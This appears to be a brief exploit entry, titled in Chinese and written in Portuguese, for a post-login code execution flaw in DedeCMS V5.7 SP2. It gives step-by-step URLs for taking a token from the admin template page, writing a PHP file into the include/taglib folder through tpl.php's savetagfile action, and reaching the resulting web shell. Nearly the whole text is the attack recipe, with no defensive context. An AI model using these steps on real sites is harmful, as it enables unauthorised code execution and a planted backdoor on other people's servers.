DedeCMS_V5.7_SP2_後台代碼執行漏洞_pt

# DedeCMS V5.7 SP2 後台代碼執行漏洞/pt

== Exploit ==

Primeiro, pegue o token: domain + /dede/tpl.php?action=upload

O token pode ser obtido visualizando o código-fonte da página

http://127.0.0.1/uploads/dede/tpl.php?action=upload


Então visite:

http://127.0.0.1/dede/tpl.php?filename=secnote.lib.php&action=savetagfile&content=&token=

==Shell==

http://127.0.0.1/include/taglib/secnote.lib.php